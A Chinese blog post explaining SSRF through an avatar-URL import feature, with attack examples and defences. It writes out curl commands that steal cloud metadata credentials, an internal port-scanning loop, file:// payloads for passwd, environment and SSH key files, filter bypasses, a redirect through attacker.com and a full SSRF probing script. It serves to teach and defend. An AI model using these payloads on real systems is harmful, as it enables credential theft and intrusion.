图片裁剪引发的数据泄露 📅 发布时间:2026/7/8 7:45:26 👁️ 浏览次数: 电商平台的用户头像功能支持「从URL导入头像」。前端传一个图片链接后端去下载再裁剪。# 简化后的代码 def fetch_avatar(url): resp requests.get(url, timeout5) save_image(resp.content) return ok看着没毛病对吧但问题是——后端服务器在内网它可以访问内网资源。攻击者传了这么一个URLhttp://169.254.169.254/latest/meta-data/ram/security-credentials/admin-role169.254.169.254是所有云厂商的元数据服务端点。只要后端服务器在云上跑这个请求就能返回该服务器的临时凭证。结果该API直接返回了aliyun-access-key-id、access-key-secret和security-token。有了这三样攻击者可以在云厂商API中以该服务器的身份执行任何操作——创建ECS、下载OSS文件、甚至配置网络规则。这就是SSRF最经典的杀伤路径外部可控URL → 内网探测 → 云元数据窃取 → 横向移动。那我们来看看攻击者具体怎么玩。SSRF的三种常见场景1. 内网端口扫描SSRF最常见的用法是探测内网。攻击者构造一个循环挨个扫描内网IP和端口# 遍历内网C段 for ip in 10.0.0.{1..254}; do for port in 22 80 443 3306 6379 8080 9200; do curl http://target.com/fetch?urlhttp://$ip:$port/ done done通过响应时间差、返回内容、状态码来判断端口是否开放。如果返回了某些服务的Banner那直接喜提内网资产信息。实际场景中我还见过更狠的——攻击者不是手动扫而是用脚本配合Burp Suite的Intruder一个接口10分钟就扫完整个内网。2. 云元数据攻击前面提到的元数据端点各云厂商地址不同云厂商元数据端点AWShttp://169.254.169.254/latest/meta-data/阿里云http://100.100.100.200/latest/meta-data/腾讯云http://metadata.tencentyun.com/latest/meta-data/华为云http://169.254.169.254/openstack/latest/GCPhttp://metadata.google.internal/computeMetadata/v1/攻击者拿到凭证后通常执行以下操作# 1. 获取RAM角色名称 curl http://169.254.169.254/latest/meta-data/ram/security-credentials/ # 2. 获取临时凭证 curl http://169.254.169.254/latest/meta-data/ram/security-credentials/ecs-role # 3. 用凭证操作云API aliyun ecs DescribeInstances --region cn-hangzhou \ --access-key-id STS.xxx \ --access-key-secret xxx \ --security-token xxx3. 文件协议读取有些服务端不仅支持HTTP还支持file://协议import requests # 漏洞代码未限制协议类型 def read_resource(url): if url.startswith(http): return requests.get(url).text # 但支持 file:// return open(url.replace(file://, )).read()攻击者可以构造file:///etc/passwd file:///proc/self/environ # 环境变量可能泄露数据库密码 file:///proc/self/fd/1 # 日志文件寻找敏感信息 file:///root/.ssh/id_rsa # SSH密钥SSRF绕过手法大全攻击者视角防御方最常见的做法是「黑名单IP」或「白名单域名」。然而…每种方案都有对应的绕过方式。绕过IP黑名单你以为禁止了127.0.0.1就安全了# 十进制IP http://2130706433/ # 等价于 127.0.0.1 http://0x7f000001/ # 十六进制 http://0x7f.0x0.0x0.0x1/ # 混合进制 # 短格式 http://127.1/ # 等价 127.0.0.1 http://0/ # 等价 0.0.0.0 # IPv6映射 http://[::1]/ # localhost的IPv6 http://[0:0:0:0:0:ffff:127.0.0.1]/ # DNS重绑定经典的SSRF绕过大法 # 注册一个域名第一次解析到合法IP第二次解析到内网IP http://ssrf-bind.example.com/DNS重绑定是最骚的绕过方式。原理很简单攻击者注册一个域名配置极短的TTL比如1秒让域名在两个IP之间来回切换。第一次DNS查询返回合法IP通过白名单检查第二次查询发起实际请求时返回内网IP。我写过一个小工具演示这个过程import socket import time # 模拟DNS重绑定攻击 domain evil.dnsrebind.example.com real_ip socket.gethostbyname(domain) # 第一次查询返回8.8.8.8看起来安全 print(f第一次解析: {real_ip}) # 等待TTL过期通常设1-5秒 time.sleep(2) # 第二次查询返回10.0.0.1内网地址 rebound_ip socket.gethostbyname(domain) print(f第二次解析: {rebound_ip})绕过URL解析差异很多防御方案用urllib.parse来解析URL做校验但发起请求时用的却是requests或curl。这两个库的URL解析逻辑有差异攻击者可以利用这一点。# 防御方校验用urllib parsed urllib.parse.urlparse(url) # parsed.hostname baidu.com ✅ 看起来没问题 # 实际请求用用requests # 实际请求去了 http://10.0.0.1:80/构造方式示例# 利用符号解析差异 http://baidu.com10.0.0.1:80/admin # 利用#符号截断 http://10.0.0.1:80#baidu.com # 利用DNS命名规范下划线在某些实现中被忽略 http://baidu_com.10.0.0.1/ # URL编码 http://127.0.0.1%2f%2f%2fbaidu.com绕过302跳转有些系统会检查目标URL是否在白名单内但攻击者可以构造一个「中间人」域名# 攻击者搭建一个服务器 # 第一次请求 → 返回302跳转到内网地址 curl http://target.com/fetch?urlhttp://attacker.com/redirect # 跳转到 http://169.254.169.254/latest/meta-data/如果后端不检查跳转目标allow_redirectsTrue这就是一个经典的SSRF利用方式。实战代码SSRF漏洞检测工具下面是我在实战中常用的一款轻量检测脚本Python3可以帮助快速验证SSRF是否存在#!/usr/bin/env python3 SSRF漏洞快速验证工具 用法: python3 ssrf_check.py target_url param_name 示例: python3 ssrf_check.py http://example.com/fetch url import requests import sys import time from urllib.parse import urljoin # 测试Payload列表 PAYLOADS { 本地回环: [ http://127.0.0.1:80/, http://localhost:80/, http://[::1]:80/, http://0:80/, http://0.0.0.0:80/, http://2130706433:80/, ], 云元数据: [ http://169.254.169.254/latest/meta-data/, http://100.100.100.200/latest/meta-data/, http://metadata.tencentyun.com/latest/meta-data/, ], 内网常见端口: [ http://172.16.0.1:22/, http://10.0.0.1:80/, http://192.168.1.1:3306/, http://10.0.0.1:6379/, http://10.0.0.1:9200/, http://10.0.0.1:27017/, ], 文件读取: [ file:///etc/passwd, file:///proc/self/environ, ], } def check_ssrf(base_url, param): 对指定参数注入SSRF测试payload根据响应判断是否存在漏洞 print(f[*] 目标: {base_url}) print(f[*] 参数: {param}) print( * 60) for category, urls in PAYLOADS.items(): print(f\n[] 测试类别: {category}) for test_url in urls: try: params {param: test_url} start time.time() resp requests.get( base_url, paramsparams, timeout8, allow_redirectsFalse ) elapsed time.time() - start # 判断依据 # 1. 状态码200且有响应体 → 可能是成功 # 2. 响应时间异常连接超时或拒绝→ 端口可能开放 # 3. 响应内容包含特定字符串 indicators [ resp.status_code 200, elapsed 2, # 连接成功但没数据 root: in resp.text, # /etc/passwd特征 secret in resp.text.lower(), access-key in resp.text.lower(), ] if any(indicators): print(f ⚠️ {test_url}) print(f 状态: {resp.status_code}, 耗时: {elapsed:.2f}s) if resp.text: preview resp.text[:200].replace(\n, \\n) print(f 响应: {preview}...) else: print(f - {test_url} → {resp.status_code}) except requests.exceptions.Timeout: print(f ⏱ {test_url} → 超时可能端口开放) except requests.exceptions.ConnectionError: print(f ✗ {test_url} → 连接拒绝) except Exception as e: print(f ! {test_url} → {e}) if __name__ __main__: if len(sys.argv) 3: print(用法: python3 ssrf_check.py target_url param_name) sys.exit(1) check_ssrf(sys.argv[1], sys.argv[2])这个工具的逻辑很简单——遍历常见的内网IP、云元数据端点、文件协议URL观察响应状态和内容来判断是否存在SSRF。正确的防御方案讲完了攻击我们来看防御。很多团队的方案是「禁止掉127.0.0.1和169.254.169.254就行了吧」不够远远不够。上面那些绕过方式随便一个就能破。推荐防御方案按推荐度排序方案一使用白名单 URL解析后校验推荐import ipaddress from urllib.parse import urlparse ALLOWED_HOSTS [img.example.com, cdn.example.com] def safe_fetch(url): parsed urlparse(url) # 1. 只允许HTTP/HTTPS协议 if parsed.scheme not in (http, https): raise ValueError(不支持的协议) # 2. 只允许白名单域名 if parsed.hostname not in ALLOWED_HOSTS: raise ValueError(域名不在白名单内) # 3. 确保域名解析到公网IP不是内网IP try: import socket ip socket.gethostbyname(parsed.hostname) addr ipaddress.ip_address(ip) if addr.is_private or addr.is_loopback or addr.is_link_local: raise ValueError(禁止访问内网地址) except socket.gaierror: raise ValueError(域名解析失败) return requests.get(url, timeout5, allow_redirectsFalse)方案二使用无网络权限的单独服务把需要请求外部URL的功能放到一个独立的容器或函数中不绑定任何内网权限。# docker-compose 示例 services: image-fetcher: build: ./fetcher # 关键只给公网访问不给内网权限 networks: - external-only networks: external-only: internal: false # 不能访问内网方案三禁用重定向# 最简洁的防御 response requests.get(url, timeout5, allow_redirectsFalse)如果业务需要重定向一定要验证最终跳转目标
Stable Diffusion 1.5/XL 人物头像提示词:9大维度组合公式与3个实战案例 Stable Diffusion人像生成:从提示词组合到风格落地的全流程实战在AI绘画领域,Stable Diffusion已经成为了创作者们不可或缺的工具。但要让AI真正理解并生成符合预期的人像作品,仅靠零散的提示词是远远不够的。本文将系统性地拆解人像生成的九… 2026/7/8 7:43:25
3分钟上手SVG-edit:完全免费的浏览器矢量图形编辑器终极指南 3分钟上手SVG-edit:完全免费的浏览器矢量图形编辑器终极指南 【免费下载链接】svgedit Powerful SVG-Editor for your browser 项目地址: https://gitcode.com/gh_mirrors/svg/svgedit 还在为复杂的矢量图形设计软件而烦恼吗?SVG-edit是一款完全免… 2026/7/8 7:33:24
WeChatMsg终极指南:三步永久备份微信聊天记录,打造你的专属数字记忆库 WeChatMsg终极指南:三步永久备份微信聊天记录,打造你的专属数字记忆库 【免费下载链接】WeChatMsg 提取微信聊天记录,将其导出成HTML、Word、CSV文档永久保存,对聊天记录进行分析生成年度聊天报告 项目地址: https://gitcode.co… 2026/7/8 7:31:24
团队落地 Agent 工程化 Loop 的一些必看小技巧! 原文链接:AI 小老六 Agent 编程真正拉开差距的地方,已经不只是“会不会写提示词”。更要紧的是:上下文怎么进入任务,任务怎么自我验证,长程执行怎么不断修正,最后这些经验又怎么被团队和下一轮 Agent 继续使… 2026/7/8 8:57:49
IIM-20670运动传感器与STM32F042C6的工业应用方案 1. IIM-20670运动传感器核心特性解析 IIM-20670是TDK InvenSense推出的一款工业级6轴运动跟踪MEMS器件,集成了3轴陀螺仪和3轴加速度计。这款传感器在运动跟踪领域具有显著优势,其陀螺仪量程范围从41dps到1966dps可调,加速度计量程可达16g。这… 2026/7/8 8:57:48
WorkshopDL:终极Steam创意工坊下载器,无需Steam客户端畅享742+款游戏模组 WorkshopDL:终极Steam创意工坊下载器,无需Steam客户端畅享742款游戏模组 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 还在为Steam创意工坊的海量模组… 2026/7/8 8:53:47
Mac 深度清理工具设计方案(基于 PyQt6) 一、整体架构设计 1.1 设计理念 本工具定位为高级用户专属的深度系统清理工具,参考 Pear Cleaner 的 Bundle ID 追踪技术,但清理维度远超普通应用卸载工具。目标是通过系统化扫描与精准清理,使系统状态无限接近全新安装后的纯净度,同时保留用户核心数据文件。 1.2 技术栈… 2026/7/8 8:51:47
Linux 文件权限课堂笔记 一、Linux 的安全性(用户账户体系)1.1 Linux 安全底层原理Linux 继承 Unix 权限模型,依靠用户 / 组管控文件访问,防止越权读写修改;安全核心:用户账户,每个登录用户拥有唯一 UID;UID… 2026/7/8 8:51:47
GPT5.5 翻译与润色实践:如何让英文表达更自然? 概要GPT-5.5 是 OpenAI 于 2026 年 4 月发布的旗舰模型,支持 100 语言的翻译、写作、润色,中文理解与生成能力达到母语水平。在英文翻译和润色领域,GPT-5.5 的核心优势是"英文表达最自然"——用词地道、句式多变、语气恰当… 2026/7/8 8:49:46
BetterNCM安装器:高效管理网易云插件的最佳选择 BetterNCM安装器:高效管理网易云插件的最佳选择 【免费下载链接】BetterNCM-Installer 一键安装 Better 系软件 项目地址: https://gitcode.com/gh_mirrors/be/BetterNCM-Installer 还在为网易云音乐插件的繁琐安装流程而烦恼吗?BetterNCM安装器是… 2026/7/8 0:02:48
运动控制系统安全设置对比:ECI3808的3种限位保护与急停逻辑实现 运动控制系统安全机制深度解析:限位保护与急停逻辑的设计哲学在精密制造与自动化领域,运动控制系统的安全设计绝非简单的功能堆砌,而是一套融合了机械工程、电气原理和软件算法的防御体系。当一台数控机床以每分钟数万转的速度运转࿰… 2026/7/8 0:06:48
AI大模型应用开发:小白也能抓住的红利风口,收藏这篇入门指南! 文章指出,虽然微软等科技巨头在裁员,但英伟达等公司却在积极扩招AI相关人才,尤其是具身智能、仿真等领域。AI行业正在经历结构性调整,传统岗位被淘汰,而大模型应用开发等新岗位需求旺盛。对于想转行或学习AI的普通人来… 2026/7/8 0:10:49
6个月转型AI工程师:实战路径与核心技能 1. 项目概述:6个月转型AI工程师的可行性路径在2023年大模型技术爆发的背景下,AI工程师岗位需求同比增长217%(LinkedIn数据)。不同于传统算法工程师需要3-5年培养周期,现代AI工程师更侧重工程化落地能力。我在硅谷科技公… 2026/7/7 11:26:57
TPAFE0808与PIC18F87K22的多通道信号采集方案 1. 项目背景与核心需求在工业自动化、医疗设备和科研仪器等领域,多通道信号采集与系统监测是基础且关键的技术需求。传统方案往往面临通道数量不足、信号调理复杂、系统集成度低等问题。TPAFE0808作为一款8通道模拟前端芯片,与PIC18F87K22微控制器的组合… 2026/7/7 11:26:57
STC3115与PIC18LF26K80构建高精度电池管理系统 1. STC3115与PIC18LF26K80在电池管理系统中的核心价值在现代电子设备中,电池管理系统(BMS)的重要性不亚于设备的核心处理器。STC3115作为一款高精度电池电量监测IC,与PIC18LF26K80微控制器的组合,构成了一个既能精确监控又能智能管理的完整解… 2026/7/7 11:26:58